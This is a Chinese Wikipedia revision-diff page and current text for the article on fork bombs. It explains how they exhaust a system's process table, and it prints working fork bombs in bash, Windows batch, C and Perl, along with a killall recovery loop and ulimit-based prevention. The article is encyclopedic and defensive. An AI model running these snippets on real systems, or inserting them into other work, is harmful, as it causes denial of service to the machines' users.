跳转到内容

Fork炸弹:修订间差异

维基百科,自由的百科全书
删除的内容 添加的内容
Flintwon留言 | 贡献
无编辑摘要
标签可视化编辑 移动版编辑 移动版网页编辑 高级移动版编辑
 
(未显示16个用户的24个中间版本)
第2行: 第2行:
{{noteTA
{{noteTA
|G1=IT
|G1=IT
|1=zh-hans:进程;zh-hant:進程;zh-tw:行程
}}
}}


[[File:Fork bomb.svg|thumb|300px|right|fork炸的概念:递归式派生(fork,亦即自我制),以使系统拒绝服甚至崩]]
[[File:Fork bomb.svg|thumb|300px|right|fork炸的概念:遞歸式派生(fork,亦即自我制),以使系统拒绝服甚至崩]]


'''fork炸'''(''fork bomb'')在[[计算机]]领域中是一种利用[[系统用]]{{Tsl|en|Fork (operating system)|Fork (操作系统)|fork}}(或其他等效的方式)行的[[拒绝]]<ref>{{cite web|url=http://foldoc.org/fork+bomb|title=fork bomb|language=en|work=FOLDOC}}</ref>。[[病毒]][[蠕病毒|蠕]]不同的是,fork炸没有染性,而且fork炸弹会使对同时执行[[进程]]/[[程序]]数设限的[[操作系统|系统]]执行程序对于限的系统使之停止响应<ref>{{cite web|title=How to: Prevent a fork bomb by limiting user process|url=http://www.cyberciti.biz/tips/linux-limiting-user-process.html|language=en|work=nixCraft}}</ref>。以fork炸弹为代表的自我制程亦被称为{{Tsl|en|wabbit}}
'''fork炸'''({{lang-en|fork bomb}}),在[[電子計算機|计算机]]领域中是一种利用[[系统調用]][[Fork (操作系统)|fork]](或其他等效的方式)行的[[阻斷]]<ref>{{cite web|url=http://foldoc.org/fork+bomb|title=fork bomb|language=en|work=FOLDOC|accessdate=2012-03-31|archive-date=2012-03-05|archive-url=https://web.archive.org/web/20120305062021/http://foldoc.org/fork+bomb|dead-url=no}}</ref>。[[計算機病毒|病毒]][[蠕病毒|蠕]]不同的是,fork炸没有染性,而且fork炸彈會使[[进程]]/[[计算机程序|程序]]限的[[操作系统|系统]]開起工作階段對於不限制進程數的系统使之停止回應<ref>{{cite web|title=How to: Prevent a fork bomb by limiting user process|url=http://www.cyberciti.biz/tips/linux-limiting-user-process.html|language=en|work=nixCraft|accessdate=2012-04-01|archive-date=2012-06-07|archive-url=https://web.archive.org/web/20120607133357/http://www.cyberciti.biz/tips/linux-limiting-user-process.html|dead-url=no}}</ref>。以fork炸彈為代表的自我制程亦被稱為[[wabbit]]


== 原理与影响 ==
== 原理与影响 ==


fork炸弹以极快的速度创建大量进程(进程数呈以2为[[底数]]的[[指数]]增长趋势),并以此消耗系统分配予进程的可用空间使[[行程控制表|进程表]]饱和,而系统在进程表饱和后就无法运行新程序,除非进程表中的某一进程终止;但由于fork炸弹程序所创建的所有实例都会不断探测空缺的进程槽并尝试取用以创建新进程,因而即使在某进程终止后也基本不可能运行新进程。fork炸弹生成的子程序在消耗进程表空间的同时也会占用[[CPU]]和[[内存]],从而导致系统与现有进程运行速度放缓,响应时间也会随之大幅增加,以致于无法正常完成任务,从而使系统的正常运作受到严重影响<ref>{{cite web|title=Understanding Bash fork() bomb ~ :(){ :{{!}}:& };:|url=http://www.cyberciti.biz/faq/understanding-bash-fork-bomb/|language=en|work=nixCraft}}</ref>。
fork炸弹以极快的速度创建大量进程(进程数呈以2为[[底数 (对数)|底数]]的[[冪運算|指数]]增长趋势),并以此消耗系统分配予进程的可用空间使[[行程控制表|进程表]]饱和,而系统在进程表饱和后就无法运行新程序,除非进程表中的某一进程终止;但由于fork炸弹程序所创建的所有实例都会不断探测空缺的进程槽并尝试取用以创建新进程,因而即使在某进程终止后也基本不可能运行新进程。fork炸弹生成的子程序在消耗进程表空间的同时也会占用[[CPU]]和[[内存]],从而导致系统与现有进程运行速度放缓,响应时间也会随之大幅增加,以致于无法正常完成任务,从而使系统的正常运作受到严重影响<ref>{{cite web|title=Understanding Bash fork() bomb ~ :(){ :{{!}}:& };:|url=http://www.cyberciti.biz/faq/understanding-bash-fork-bomb/|language=en|work=nixCraft}}</ref>。


除了恶意触发fork炸弹破坏的情况外,[[软件开发]]中有时也会不慎在程序中嵌入fork炸弹,如在用于监听{{Tsl|en|Network socket|网络套接字}}并行使[[主從式架構|客户端-服务器结构]]系统中服务器端职责的[[应用程序]]中可能需要无限地进行[[循环 (计算机编程)|循环]](loop)与派生(fork)操作(类似下节示例程序所示),而在这种情况下[[源代码]]内的细微错误就可能在测试中“引爆”fork炸弹。
除了恶意触发fork炸弹破坏的情况外,[[软件开发]]中有时也会不慎在程序中嵌入fork炸弹,如在用于监听[[网络套接字]]并行使[[主從式架構|客户端-服务器结构]]系统中服务器端职责的[[应用程序]]中可能需要无限地进行[[循环 (计算机编程)|循环]](loop)与派生(fork)操作(类似下节示例程序所示),而在这种情况下[[源代码]]内的细微错误就可能在测试中“引爆”fork炸弹。


== 示例 ==
== 示例 ==


以下程序段就是由{{Tsl|en|Jaromil}}所作的在[[UNIX系统]]的[[shell]]境下触发fork炸的shell[[本]]代<ref>{{cite web|url= http://jaromil.dyne.org/journal/forkbomb_art.html|title=ASCII Shell Forkbomb|work=dyne.org|author=Jaromil|language=en}}</ref>,共只用了13(包括空格):
以下程序段就是由{{Tsl|en|Jaromil}}所作的在[[UNIX系统]]的[[shell]]境下觸發fork炸的shell[[腳本語言|腳本]]代<ref>{{cite web|url=http://jaromil.dyne.org/journal/forkbomb_art.html|title=ASCII Shell Forkbomb|work=dyne.org|author=Jaromil|language=en|accessdate=2012-03-31|archive-date=2012-02-29|archive-url=https://web.archive.org/web/20120229090930/http://jaromil.dyne.org/journal/forkbomb_art.html|dead-url=no}}</ref>,共只用了13(包括空格):


<source lang="bash">
<syntaxhighlight lang="bash">
:(){ :|:& };:
:(){ :|:& };:
</syntaxhighlight>
</source>


注解如下:
注解如下:


<source lang="bash">
<syntaxhighlight lang="bash">
:() # 定义函数,函数名为":",即每当输入":"时就会自动调用{}内代码
:() # 定义函数,函数名为":",即每当输入":"时就会自动调用{}内代码
{ # ":"函数开标识
{ # ":"函數起字元
: # 用递归方式调用":"函数本身
: # 用递归方式调用":"函数本身
| # 用管(pipe)出引至...(因为有一个管操作,因此生成一新的程)
| # 用管(pipe)出引至...(因为有一个管操作字元,因此生成一新的程)
: # 另一次递归调用的":"函数
: # 另一次递归调用的":"函数
# 综上,":|:"表示的即是每次用函数":"的候就成两份拷
# 综上,":|:"表示的即是每次調用函数":"的候就會產份拷
& # ,以使最初的":"函数被杀死后为其所用的两个":"函数还继续执
& # 調,以使最初的":"函数被關閉後為其所調用的兩個":"函數還繼續執
} # ":"函数结束标识
} # ":"函數終止字元
; # ":"函数定义结束后将要进行的操作...
; # ":"函数定义结束后将要进行的操作...
: # 调用":"函数,"引爆"fork炸弹
: # 调用":"函数,"引爆"fork炸弹
</syntaxhighlight>
</source>


其中[[函]]名“:”只是化的一例,实际实现时可以随意定,一个较易理解(名替换为“forkbomb”)的版本如下:
其中[[函]]名“:”只是化的一例,實際上可以随意定,一個較易理解(名替換為“forkbomb”)的版本如下:


<source lang="bash">forkbomb(){ forkbomb|forkbomb & } ; forkbomb</source>
<syntaxhighlight lang="bash">forkbomb(){ forkbomb|forkbomb & } ; forkbomb</syntaxhighlight>


[[Windows]]下可以[[批理]]命令如下实现
[[Windows]]下可以[[批次處理]]命令如下實作


<source lang="dos">
<syntaxhighlight lang="dos">
%0|%0
%0|%0
</syntaxhighlight>
</source>


[[POSIX]]准下的[[C言|C]][[C++]]的实现
[[POSIX]]准下的[[C言|C]][[C++]]的實作


<source lang="c">
<syntaxhighlight lang="c">
#include <unistd.h>
#include <unistd.h>


第58行: 第59行:
return 0;
return 0;
}
}
</syntaxhighlight>
</source>


[[Perl]]言的实现
[[Perl]]言的實作
<source lang="perl">
<syntaxhighlight lang="perl">
fork while fork
fork while fork
</syntaxhighlight>
</source>


== “熄火” ==
== “熄火” ==


在系统中成功“引爆”fork炸弹后,我们可重启来使系统恢复正常运行;而若要以手动的方法使fork炸弹“熄火”,那前提就是必须杀死fork炸弹产生的所有进程。为此我们可以考虑使用程序来杀死fork炸弹产生的进程,但由于这一般需要创建新进程,且由于fork炸弹一直在探测与占用进程槽与内存空间,因而这一方法几乎可能实现,而且用<code>kill</code>命令杀死进程后,释放出的进程槽又会被余下的fork炸弹线程所产生的新进程占用,
在系统中成功“引爆”fork炸弹后,可重启来使系统恢复正常运行;而若要以手动的方法使fork炸弹“熄火”,那前提就是必须杀死fork炸弹产生的所有进程。为此我们可以考虑使用程序来杀死fork炸弹产生的进程,但由于这一般需要创建新进程,且由于fork炸弹一直在探测与占用进程槽与内存空间,因而这一方法不实现,用<code>kill</code>命令杀死进程后,释放出的进程会被余下的fork炸弹线程所产生的新进程占用,但可以使用迴圈殺死所有進程,不過也會將無關的進程殺死
<syntaxhighlight lang="dos">
for ((tmp=1;tmp<10;tmp++));do killall bash;done
</syntaxhighlight>


在Windows下,用户可以退出当前用户会话的方式使系统恢复正常,但此法奏效的前提是fork炸弹是在该用户的特定会话内触发的。
在Windows下,用户可以退出当前用户会话的方式使系统恢复正常,但此法奏效的前提是fork炸弹是在该用户的特定会话内触发的。


== 预防 ==
== 预防 ==
由於Fork Bomb透過不斷的開新進程來癱瘓系統,一個防止其嚴重影響系統的方法就是限定一個使用者能夠創建的進程數的上限,在Linux系統上,可以透過ulimit這個指令達到相應的效果,例如: ulimit -Hu 30 這個指令可以限制每一個使用者最多只能創建30個進程。而FreeBSD系統的話系統管理者可以在/etc/login.conf底下的設定檔進行相關的設定
由於fork炸弹透過不斷的開新進程來癱瘓系統,一個防止其嚴重影響系統的方法就是限定一個使用者能夠創建的進程數的上限,在[[Linux系統]]上,可以透過ulimit這個指令達到相應的效果,例如: ulimit -Hu 30 這個指令可以限制每一個使用者最多只能創建30個進程,还可以通过修改配置文件/etc/security/limits.conf来限制可生成的最大进程数来避开这枚炸弹。而[[FreeBSD]]系統的話系統管理者可以在/etc/login.conf底下的設定檔進行相關的設定


== 参考资料 ==
== 参考资料 ==
第80行: 第84行:
== 参见 ==
== 参见 ==
* [[无限循环]]
* [[无限循环]]
* {{Tsl|en|Fork (operating system)|Fork (操作系统)}}
* [[Fork (操作系统)]]
* {{Tsl|en|Process management (computing)|进程管理 (计算机科学)}}
* [[进程管理 (计算机科学)]]
* [[邏輯炸彈]]
* [[邏輯炸彈]]


第87行: 第91行:


[[Category:阻斷服務攻擊]]
[[Category:阻斷服務攻擊]]
[[Category:操作系统]]
[[Category:计算机编程]]
[[Category:计算机编程]]

[[ca:Bomba fork]]
[[cs:Fork bomba]]
[[de:Forkbomb]]
[[en:Fork bomb]]
[[es:Bomba fork]]
[[fr:Fork bomb]]
[[it:Fork bomb]]
[[ja:Fork爆弾]]
[[pl:Fork-bomba]]
[[ru:Fork-бомба]]

2024年11月11日 (一) 14:22的最新版本

fork炸彈的概念:進程遞歸式派生(fork,亦即自我複制),以使系统拒绝服務甚至崩潰

fork炸彈(英語:fork bomb),在计算机领域中是一种利用系统調用fork(或其他等效的方式)進行的阻斷服務攻擊[1]。與病毒蠕蟲不同的是,fork炸彈没有傳染性,而且fork炸彈會使有进程/程序限制的系统無法開起新工作階段,對於不限制進程數的系统則使之停止回應[2]。以fork炸彈為代表的自我複制程式有時亦被稱為wabbit

原理与影响

[编辑]

fork炸弹以极快的速度创建大量进程(进程数呈以2为底数指数增长趋势),并以此消耗系统分配予进程的可用空间使进程表饱和,而系统在进程表饱和后就无法运行新程序,除非进程表中的某一进程终止;但由于fork炸弹程序所创建的所有实例都会不断探测空缺的进程槽并尝试取用以创建新进程,因而即使在某进程终止后也基本不可能运行新进程。fork炸弹生成的子程序在消耗进程表空间的同时也会占用CPU内存,从而导致系统与现有进程运行速度放缓,响应时间也会随之大幅增加,以致于无法正常完成任务,从而使系统的正常运作受到严重影响[3]

除了恶意触发fork炸弹破坏的情况外,软件开发中有时也会不慎在程序中嵌入fork炸弹,如在用于监听网络套接字并行使客户端-服务器结构系统中服务器端职责的应用程序中可能需要无限地进行循环(loop)与派生(fork)操作(类似下节示例程序所示),而在这种情况下源代码内的细微错误就可能在测试中“引爆”fork炸弹。

示例

[编辑]

以下程序段就是由Jaromil英语Jaromil所作的在類UNIX系统shell環境下觸發fork炸彈的shell腳本代碼[4],總共只用了13個字元(包括空格):

:(){ :|:& };:

注解如下:

:()      # 定义函数,函数名为":",即每当输入":"时就会自动调用{}内代码
{        # ":"函數起始字元
    :    # 用递归方式调用":"函数本身
    |    # 並用管線(pipe)將其輸出引至...(因为有一个管線操作字元,因此會生成一個新的進程)
    :    # 另一次递归调用的":"函数
# 综上,":|:"表示的即是每次調用函数":"的時候就會產生兩份拷貝
    &    # 調用間脱鉤,以使最初的":"函数被關閉後為其所調用的兩個":"函數還能繼續執行
}        # ":"函數終止字元
;        # ":"函数定义结束后将要进行的操作...
:        # 调用":"函数,"引爆"fork炸弹

其中函數名“:”只是簡化的一例,實際上可以随意設定,一個較易理解(將函數名替換為“forkbomb”)的版本如下:

forkbomb(){ forkbomb|forkbomb & } ; forkbomb

Windows下則可以批次處理命令如下實作:

%0|%0

POSIX標准下的CC++的實作:

#include <unistd.h>

int main()
{
  while(1)
    fork();
  return 0;
}

Perl語言的實作:

fork while fork

“熄火”

[编辑]

在系统中成功“引爆”fork炸弹后,可重启来使系统恢复正常运行;而若要以手动的方法使fork炸弹“熄火”,那前提就是必须杀死fork炸弹产生的所有进程。为此我们可以考虑使用程序来杀死fork炸弹产生的进程,但由于这一般需要创建新进程,且由于fork炸弹一直在探测与占用进程槽与内存空间,因而这一方法不易实现,雖用kill命令杀死进程后,释放出的进程会被余下的fork炸弹线程所产生的新进程占用,但可以使用迴圈殺死所有進程,不過也會將無關的進程殺死

for ((tmp=1;tmp<10;tmp++));do killall bash;done

在Windows下,用户可以退出当前用户会话的方式使系统恢复正常,但此法奏效的前提是fork炸弹是在该用户的特定会话内触发的。

预防

[编辑]

由於fork炸弹透過不斷的開新進程來癱瘓系統,一個防止其嚴重影響系統的方法就是限定一個使用者能夠創建的進程數的上限,在Linux系統上,可以透過ulimit這個指令達到相應的效果,例如: ulimit -Hu 30 這個指令可以限制每一個使用者最多只能創建30個進程,还可以通过修改配置文件/etc/security/limits.conf来限制可生成的最大进程数来避开这枚炸弹。而FreeBSD系統的話系統管理者可以在/etc/login.conf底下的設定檔進行相關的設定

参考资料

[编辑]
  1. ^ fork bomb. FOLDOC. [2012-03-31]. (原始内容存档于2012-03-05) (英语). 
  2. ^ How to: Prevent a fork bomb by limiting user process. nixCraft. [2012-04-01]. (原始内容存档于2012-06-07) (英语). 
  3. ^ Understanding Bash fork() bomb ~ :(){ :|:& };:. nixCraft (英语). 
  4. ^ Jaromil. ASCII Shell Forkbomb. dyne.org. [2012-03-31]. (原始内容存档于2012-02-29) (英语). 

参见

[编辑]

本條目部分或全部内容出自以GFDL授權發佈的《自由線上電腦詞典》(FOLDOC)。